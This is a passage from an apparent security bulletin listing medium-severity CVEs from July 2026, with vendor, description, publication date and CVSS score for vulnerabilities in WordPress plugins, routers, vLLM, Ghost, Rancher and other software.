|---------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| solacewp--Solace Extra                                                          | The Solace Extra plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete all content previously imported via the Starter Template feature, including posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates. The required nonce is emitted on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without a page guard, meaning any Subscriber visiting /wp-admin/profile.php can obtain it; the handler is additionally registered via wp_ajax_nopriv_, making it reachable by fully unauthenticated users as well.               | 2026-07-11 | 5.3        | <a href="#">CVE-2026-13250</a> |
| SonicCloudOrg--sonic-agent                                                      | A vulnerability has been found in SonicCloudOrg sonic-agent up to 2.7.2. The affected element is an unknown function of the file AndroidWSServer.java of the component Android WebSocket Server. The manipulation of the argument path leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.                                                                                                                                                                                                                                                                           | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15495</a> |
| SonicCloudOrg--sonic-agent                                                      | A vulnerability was found in SonicCloudOrg sonic-agent up to 2.7.2. The impacted element is the function evallsFailed of the file sonic-agent/src/main/java/org/cloud/sonic/agent/tests/script/GroovyScriptImpl.java of the component Groovy Script Handler. The manipulation results in os command injection. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.                                                                                                                                                                                                                                             | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15496</a> |
| sovlx--GoodMeet Google Meet Integration for Webinar, Meeting & Video Conference | The GoodMeet - Google Meet Integration for Webinar, Meeting & Video Conference plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to and including 1.1.8. This is due to a missing nonce verification in the reset_credential() function, which handles the wp_ajax_goodmeet_reset_google_meet_credential AJAX action. While the function does verify the user's capability (manage_options), it does not validate a nonce, making it susceptible to CSRF attacks. This makes it possible for unauthenticated attackers to trick a site administrator into clicking a malicious link that will reset (delete) the plugin's stored Google Meet API credentials (goodmeet_google_credentials) and OAuth tokens (goodmeet_google_token), effectively disabling the Google Meet integration on the site. | 2026-07-10 | 4.3        | <a href="#">CVE-2026-6440</a>  |
| SQLite--SQLite                                                                  | An issue in SQLite before Fossil check-in 869a51ae84df allows a local attacker to obtain sensitive information via the Session Extension changeset concat/changegroup merge path                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-08 | 6.1        | <a href="#">CVE-2026-50813</a> |
| starboardsuite--Starboard Suite Reservation Calendars                           | The Starboard Suite Reservation Calendars plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in the [starboard-suite-lightbox] shortcode in all versions up to, and including, 3.1.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                       | 2026-07-11 | 6.4        | <a href="#">CVE-2025-13968</a> |
| stellarwp--Kadence Blocks Page Builder Toolkit for Gutenberg Editor             | The Gutenberg Blocks with AI by Kadence WP - Page Builder Features plugin for WordPress is vulnerable to unauthorized post publication in all versions up to, and including, 3.5.32 due to a misconfigured capability check on the 'get_items_permission_check' function permission callback of the 'process_pattern' REST API endpoint. This makes it possible for authenticated attackers, with Contributor-level access and above, to create and immediately publish posts of any type (including pages), bypassing the standard WordPress review workflow where contributors must submit posts for administrator approval.                                                                                                                                                                                                    | 2026-07-10 | 4.3        | <a href="#">CVE-2026-15286</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| stylemix--Cost Calculator Builder                                             | The Cost Calculator Builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.0.11 via the (template body). This makes it possible for unauthenticated attackers to extract the plaintext Stripe secret key, Razorpay secret key, and PayPal client_secret embedded in the page source of any page containing a calculator, enabling full control of the merchant's payment gateway accounts. This exposure only occurs when the 'use in all calculators' option is enabled for one or more payment gateways in the plugin's global settings.                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-11 | 5.3        | <a href="#">CVE-2026-10865</a> |
| subratamal--Wallet for WooCommerce                                            | The Wallet for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.6.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to enumerate the login name, email address, and user ID of all WordPress accounts - including administrators - by submitting arbitrary search terms to the AJAX handler. The required 'search-user' nonce is localized into the wallet_param object on the standard WooCommerce My Account page, which is accessible to any authenticated user, making it trivially obtainable by a Subscriber.                                                                                                                                                                                                                                                                                   | 2026-07-11 | 4.3        | <a href="#">CVE-2026-12103</a> |
| supercleanse--Members Membership & User Role Editor Plugin                    | The Members - Membership & User Role Editor Plugin plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.2.22 via the members_filter_protected_posts_for_rest. This makes it possible for unauthenticated attackers to extract determine the existence and exact count of access-restricted posts, and use per-page pagination as a boolean oracle to infer keywords and content contained within those hidden restricted posts.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-11 | 5.3        | <a href="#">CVE-2026-12426</a> |
| Superior Court of California, County of Los Angeles--Hearing Reminder Service | The Superior Court of California Hearing Reminder Service at <a href="https://www.hrs.courts.ca.gov">https://www.hrs.courts.ca.gov</a> exposes an API endpoint that returns court reminder records containing potentially sensitive information without authentication.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-09 | 5.3        | <a href="#">CVE-2026-61344</a> |
| surflabtech--SurfLink Link Manager & Backup Restore                           | The SurfLink - Ultimate Link Manager plugin for WordPress is vulnerable to unauthorized data modification due to a missing capability check on the ajax_import_410() function in all versions up to 2.6.0. This is due to a missing capability check (current_user_can()) and missing nonce verification (check_ajax_referer()) in the ajax_import_410() function, while all other AJAX handlers in the same class (ajax_add_single_410, ajax_save_editted_410, ajax_delete_410, ajax_bulk_410_delete, ajax_empty_410, ajax_export_410) properly implement both authorization and nonce checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to import arbitrary URLs into the 410 Gone database table via the surfl_import_410 AJAX action. Injected URLs will cause the site to return HTTP 410 Gone responses to all visitors accessing those paths, potentially causing denial of service for legitimate pages and SEO damage through search engine delisting. | 2026-07-11 | 4.3        | <a href="#">CVE-2026-3552</a>  |
| SUSE--Rancher                                                                 | Missing filtering when the helmRepoURLRegex field isn't set on a GitRepo resource in SUSE Rancher Fleet's bundle reader in 0.15 before 0.15.2, 0.14 before 0.14.6, 0.13 before 0.13.11 and 0.12 before 0.12.15 forwards Helm authentication credentials (BasicAuth) to any URL specified in the helm.repo field of a fleet.yaml file, allowing attackers able to push to fleet monitored git repos to leak helm access credentials.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-06 | 5          | <a href="#">CVE-2026-44936</a> |
| symfony--ux                                                                   | Symfony UX is a JavaScript ecosystem for Symfony. From 2.17.0 before 2.36.1 and from 3.0.0 before 3.2.0, the ux_icon() Twig function is marked is_safe=['html'] and Icon::toHtml() inlines SVG source verbatim, allowing unsanitized local SVG files or Iconify on-demand JSON body responses containing nested script elements, on* event handlers, or dangerous URL schemes to execute cross-site scripting. This issue is fixed in versions 2.36.1 and 3.2.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-08 | 6.1        | <a href="#">CVE-2026-55877</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Tag plugin--GLPI 11                                                               | The Tag plugin for GLPI 11 before 2.14.4 stores the tag name without HTML sanitization and renders it into the Kanban badge markup via <code>PluginTagTag::preKanbanContent()</code> without output escaping, resulting in stored cross-site scripting. An authenticated user with TAG MANAGEMENT create or update rights can set a tag name containing HTML, which then executes in the browser of any user who opens the Kanban view of a ticket, problem, change, or project the tag is attached to.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-09 | 6.4        | <a href="#">CVE-2026-53987</a> |
| the_champ--Social Share, Social Login and Social Comments Plugin Super Socializer | The Social Share, Social Login and Social Comments Plugin - Super Socializer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'heateor_mastodon_share' parameter in all versions up to, and including, 7.14.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 6.1        | <a href="#">CVE-2026-11798</a> |
| themefic--Hydra Booking Appointment Scheduling & Booking Calendar                 | The Hydra Booking - Appointment Scheduling & Booking Calendar plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 1.2.1 via the <code>/wp-json/hydra-booking/v1/booking/details/{id}</code> REST endpoint. This is due to the <code>getBookingDetails()</code> callback only enforcing the <code>tfhb_manage_options</code> capability via <code>tfhb_manage_options_permission()</code> , without verifying that the requested booking belongs to the currently authenticated host (the lookup in <code>getBookingDetailsData()</code> filters solely on the booking id supplied in the URL). This makes it possible for authenticated attackers, with Hydra Host-level access and above (a role created by the plugin which grants <code>tfhb_manage_options</code> ), to view sensitive booking records belonging to other hosts, including attendee names, emails, phone numbers, addresses, meeting details, payment method and status, transaction history, and internal notes by iterating booking IDs. | 2026-07-09 | 4.3        | <a href="#">CVE-2026-12433</a> |
| themehunk--TH Login Registration                                                  | The Themehunk Login Registration plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.0.2. This is due to the <code>handle_frontend_register()</code> function in the unauthenticated <code>/thlogin/v1/register</code> REST endpoint accepting a user-controlled 'role' parameter and validating it only against <code>get_editable_roles()</code> - which returns every defined editable site role, including 'editor' - before passing it to <code>wp_insert_user()</code> . This makes it possible for unauthenticated attackers, when public user registration is enabled, to create new accounts with the editor role.                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-08 | 6.3        | <a href="#">CVE-2026-14250</a> |
| themifyme--Themify Builder                                                        | The Themify Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Map Module 'b_width_map' Field in all versions up to, and including, 7.7.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-11 | 6.4        | <a href="#">CVE-2026-15096</a> |
| themifyme--Themify Builder                                                        | The Themify Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'height_slider' Slider Module Field in all versions up to, and including, 7.7.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-11 | 6.4        | <a href="#">CVE-2026-15097</a> |
| thimpress--WP Hotel Booking                                                       | The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' and 'check_out_date' parameters in all versions up to, and including, 2.3.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-10 | 6.1        | <a href="#">CVE-2026-11392</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| thimpress--WP Hotel Booking                                                                     | The WP Hotel Booking plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in all versions up to, and including, 2.3.1. This is due to the `web_hook_process_paypal_standard()` IPN handler selecting its PayPal validation endpoint from the attacker-controlled `\$_REQUEST['test_ipn']` parameter, force-upgrading any `pending` transaction to `completed` when `test_ipn=1`, and omitting post-verification checks on `receiver_email`, `mc_currency`, and `txn_id` uniqueness after receiving a `VERIFIED` response from PayPal. This makes it possible for unauthenticated attackers to mark arbitrary hotel bookings as fully paid without submitting genuine payment to the merchant - either by routing IPN validation through PayPal's sandbox using a free sandbox account, or by replaying a previously verified IPN from a nominal payment to an attacker-controlled PayPal account. An attacker requires only a free PayPal sandbox account (or any PayPal account) to obtain a `VERIFIED` response; no site credentials or special configuration are needed. | 2026-07-11 | 5.3        | <a href="#">CVE-2026-11901</a> |
| thrivedesk--Agentic Help Desk Plugin for WordPress Live Chat, AI Chatbot & Ticketing ThriveDesk | The ThriveDesk - Live Chat, AI Chatbot, Helpdesk & Knowledge Base plugin for WordPress is vulnerable to unauthorized cache deletion due to a missing capability check on the `thrivedesk_clear_cache` AJAX action in all versions up to, and including, 2.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to clear the plugin's cache.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-11 | 4.3        | <a href="#">CVE-2026-1832</a>  |
| tibouille--Sudoku Shortcode                                                                     | The Sudoku Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `background` parameter in the `sudoku-sc` shortcode in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-10 | 6.4        | <a href="#">CVE-2026-15292</a> |
| timstrifler--Exclusive Addons for Elementor                                                     | The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post title parameter in all versions up to, and including, 2.7.9.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-07 | 6.4        | <a href="#">CVE-2026-11328</a> |
| tokenoftrust--Age Verification & Identity Verification by Token of Trust                        | The Age Verification & Identity Verification by Token of Trust plugin for WordPress is vulnerable to unauthorized access in all versions up to and including 4.0.2. This is due to the `handle_export_table()` function being registered on the WordPress `init` hook, which fires for all requests, including those from unauthenticated visitors, without any capability check. This makes it possible for unauthenticated attackers to download a CSV file containing sensitive WooCommerce donation data, including order dates, order IDs, charitable donation amounts, and admin-only order edit URLs, simply by visiting any page on the site with the `tot_export_table` GET parameter set to a numeric value (0-3).                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-09 | 5.3        | <a href="#">CVE-2026-7558</a>  |
| ToolJet--ToolJet                                                                                | ToolJet is an open-source low-code platform for building internal tools. Prior to 3.20.180, ToolJet's render preview deployment workflow interpolates `github.event.comment.body` directly into a bash conditional in a run step, allowing any GitHub user who can comment on an open pull request with a deploy command to execute shell commands on the CI runner and exfiltrate deployment secrets. This issue is reported as fixed in version 3.20.180.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 4.7        | <a href="#">CVE-2026-54344</a> |
| TOTOLINK--X5000R                                                                                | A vulnerability was detected in TOTOLINK X5000R 9.1.0cu.2415_B20250515/9.1.0cu.2350_B20230313. Affected by this vulnerability is the function `exportOvpn` of the file `/web/cgi-bin/cstecgi.cgi` of the component OpenVPN Export. The manipulation results in path traversal. The attack may be launched remotely.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-09 | 5.3        | <a href="#">CVE-2026-15204</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| TRENDnet--TEW-821DAP                                                            | A flaw has been found in TRENDnet TEW-821DAP 1.11B03. The impacted element is the function sub_43F2C4 of the file /goform/tools_nslookup of the component DNS Lookup Handler. This manipulation of the argument nslookup_target/dns_server causes os command injection. The attack can be initiated remotely. The vendor explains: "We are unable to confirm the existence of the vulnerabilities for (...) TEW-821DAP (v1.0R) as these items have been EOL. " This vulnerability only affects products that are no longer supported by the maintainer.                                                                                   | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15485</a> |
| TRENDnet--TEW-821DAP                                                            | A vulnerability has been found in TRENDnet TEW-821DAP 1.11B03. This affects the function sub_42026C of the file /goform/tools_ddns of the component Firmware Update Handler. Such manipulation of the argument hostname/username/password leads to os command injection. The attack can be launched remotely. The vendor explains: "We are unable to confirm the existence of the vulnerabilities for (...) TEW-821DAP (v1.0R) as these items have been EOL. " This vulnerability only affects products that are no longer supported by the maintainer.                                                                                   | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15486</a> |
| TRENDnet--TEW-821DAP                                                            | A vulnerability was found in TRENDnet TEW-821DAP 1.11B03. This impacts the function sub_41FBDO of the file /goform/system_ntp of the component Firmware Update Handler. Performing a manipulation of the argument Hostname results in os command injection. The attack may be initiated remotely. The vendor explains: "We are unable to confirm the existence of the vulnerabilities for (...) TEW-821DAP (v1.0R) as these items have been EOL. " This vulnerability only affects products that are no longer supported by the maintainer.                                                                                               | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15487</a> |
| trustindex--Widgets for Google Reviews                                          | The Widgets for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 13.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.                                                                                                       | 2026-07-11 | 4.4        | <a href="#">CVE-2026-11591</a> |
| TryGhost--Ghost                                                                 | Ghost is a Node.js content management system. From 6.27.0 before 6.44.0, Ghost's public donation checkout flow allowed an unauthenticated attacker to control donation checkout metadata and obtain full paid gift memberships for a minimal payment without exposing customer or member data or stealing money from a site or its members. This issue is fixed in version 6.44.0.                                                                                                                                                                                                                                                        | 2026-07-09 | 5.3        | <a href="#">CVE-2026-59817</a> |
| tumf--mcp-text-editor                                                           | A security vulnerability has been detected in tumf mcp-text-editor up to 1.0.2. This issue affects the function _validate_file_path of the file mcp_text_editor/text_editor.py. Such manipulation of the argument file_path leads to path traversal. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The vendor closed the GitHub issue for this vulnerability without any explanation.                                                                                                                                                                                                     | 2026-07-09 | 6.3        | <a href="#">CVE-2026-15138</a> |
| Twiser Informatics Technology Consulting, Trade and Education Inc.-OKRs & Goals | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Twiser Informatics Technology Consulting, Trade and Education Inc. OKRs & Goals allows Stored XSS. This issue affects OKRs & Goals: from 28220 before 28398.                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 5.4        | <a href="#">CVE-2026-5005</a>  |
| u-boot--u-boot                                                                  | U-Boot through 2026.04-rc3 contains an out-of-bounds read vulnerability in tcp_rx_state_machine() (net/tcp.c) when CONFIG_PROT_TCP is enabled, allowing remote attackers to read beyond TCP segment boundaries by crafting a malicious packet with a mismatched IP total length and TCP data offset field. Attackers can send a packet with an IP total length of 40 bytes and a TCP data offset claiming 60 bytes of header to cause tcp_parse_options() to read 40 bytes past the end of the TCP segment, potentially corrupting connection state variables such as rmt_win_scale and rmt_timestamp to disrupt TCP window calculations. | 2026-07-08 | 5.3        | <a href="#">CVE-2026-29007</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| videousermanuals--White Label CMS               | The White Label CMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.7.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.                                                                                                                                                                                                                       | 2026-07-11 | 4.4        | <a href="#">CVE-2026-11898</a> |
| Vinchin--Backup & Recovery 9.0                  | Vinchin Backup & Recovery through 9.0.0.86562 contains a heap buffer overflow vulnerability that allows unauthenticated remote attackers to cause process crash or memory corruption by sending a malformed TCP packet with an unchecked body_len field to the agentlink_server service. Attackers can craft a malicious packet that passes an attacker-controlled length directly to recv(), triggering a heap overflow of up to approximately 4 GiB and resulting in process crash or potential memory corruption.                                                                                                                                                                                                                                    | 2026-07-09 | 6.5        | <a href="#">CVE-2026-60094</a> |
| Vinchin--Backup & Recovery 9.0                  | Vinchin Backup & Recovery through 9.0.0.86562 contains a stack buffer overflow vulnerability in the ModuleHandShake function of the agentlink_server service that allows unauthenticated remote attackers to overwrite the saved return address by supplying an oversized _listen_uuid field that is measured via strlen() and copied without bounds checking into a fixed-length stack buffer using strcpy(). Attackers can send a crafted request with a malicious _listen_uuid value to corrupt the stack and achieve process crash or potential control flow hijack without requiring authentication.                                                                                                                                               | 2026-07-09 | 6.5        | <a href="#">CVE-2026-60095</a> |
| vllm-project--vllm                              | vLLM is an inference and serving engine for large language models. From 0.22.0 to 0.23.0, the /v1/audio/transcriptions and /v1/audio/translations routes call request.file.read() to fully materialize an uploaded audio file into memory before vLLM checks the documented VLLM_MAX_AUDIO_CLIP_FILESIZE_MB compressed upload size limit (default 25 MB) later in the speech-to-text preprocessing step, so an API caller who can reach those routes can submit an oversized multipart upload and cause vLLM to allocate memory proportional to the uploaded file size before the request is rejected as too large, creating memory pressure or terminating the process depending on deployment resource limits. This issue is fixed in version 0.24.0. | 2026-07-06 | 6.5        | <a href="#">CVE-2026-55646</a> |
| vxcontrol--PentAGI                              | A vulnerability was identified in vxcontrol PentAGI up to 2.1.0. This affects an unknown function of the file backend/pkg/docker/client.go of the component Docker API. The manipulation leads to sandbox issue. The attack may be initiated remotely. The pull request to fix this issue awaits acceptance.                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-06 | 6.3        | <a href="#">CVE-2026-14784</a> |
| Wavlink--WL-NU516U1                             | A security flaw has been discovered in Wavlink WL-NU516U1 260515. This affects the function wlink_uci_set_value of the file /cgi-bin/adm.cgi. Performing a manipulation of the argument lan_ip results in os command injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. You should upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.                                                                                                                                                                                                                         | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15513</a> |
| Wazuh--Wazuh                                    | Wazuh wazuh-modulesd before 5.0.0-beta3 contains a null pointer dereference vulnerability in inventory_sync FlatBuffer DataValue handling. An enrolled agent can send a verifier-valid DataValue message omitting the optional id field, causing wazuh-modulesd to crash when dereferencing data->id()->string_view() without null validation, resulting in denial of service.                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 6.5        | <a href="#">CVE-2026-56401</a> |
| wclovers--WCFM Frontend Manager for WooCommerce | The WCFM - Frontend Manager for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 6.7.27. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to inject arbitrary reply content into any store inquiry, overwrite the main inquiry record in wp_wcfm_enquiries, and trigger unsolicited notification emails to customers and                                                                                                                                                                                                                                                               | 2026-07-11 | 5.3        | <a href="#">CVE-2026-12994</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                            | vendors. Unlike sibling controller branches (wcfm-enquiry and wcfm-enquiry-manage), the wcfm-my-account-enquiry-manage branch performs no <code>is_user_logged_in()</code> or <code>current_user_can()</code> check, and the nonce that serves as the sole barrier is embedded into every public page load without any login gate.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| wcloveers--WCFM Frontend Manager for WooCommerce                                           | The WCFM - Frontend Manager for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.27 via the <code>wcfm_product_archive</code> due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to archive arbitrary vendors' products, toggle the featured status on arbitrary listings, mark arbitrary WooCommerce orders as completed, and permanently delete arbitrary enquiries and bulk messages belonging to other vendors.                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-11 | 4.3        | <a href="#">CVE-2026-10041</a> |
| wcloveers--WCFM Marketplace Multivendor Marketplace for WooCommerce                        | The WCFM Marketplace - Multivendor Marketplace for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Attachment 'post_title' in all versions up to, and including, 3.7.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Vendor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. An attacker can plant the payload by uploading a media attachment with a crafted title via the WordPress REST API ( <code>/wp-json/wp/v2/media</code> ), without ever invoking the AJAX endpoint themselves, as the unescaped title is later emitted inside DataTables JSON and inserted as innerHTML upon any privileged user loading the media dashboard.                                                                                                                                                                                                                | 2026-07-11 | 6.4        | <a href="#">CVE-2026-12126</a> |
| wealcoder--Animation Addons for Elementor GSAP Motion Elementor Addons & Website Templates | The Animation Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'weather_style' and 'move_direction' parameters of the Weather widget in all versions up to, and including, 2.6.3. This is due to insufficient output escaping in the Weather widget's <code>render()</code> function at <code>widgets/weather.php:1246</code> , where both settings values are placed into an HTML class attribute without <code>esc_attr()</code> . Elementor does not server-side validate widget SELECT control values against allowed options on save, so an authenticated attacker with Contributor-level access or above can submit a crafted <code>save_builder</code> AJAX request storing arbitrary values in the <code>_elementor_data</code> post meta. The stored payload renders unescaped on every frontend visit to the affected page (the Weather widget requires an OpenWeatherMap API key to reach the vulnerable output, which is the normal operational state for sites using this widget). | 2026-07-10 | 6.4        | <a href="#">CVE-2026-15299</a> |
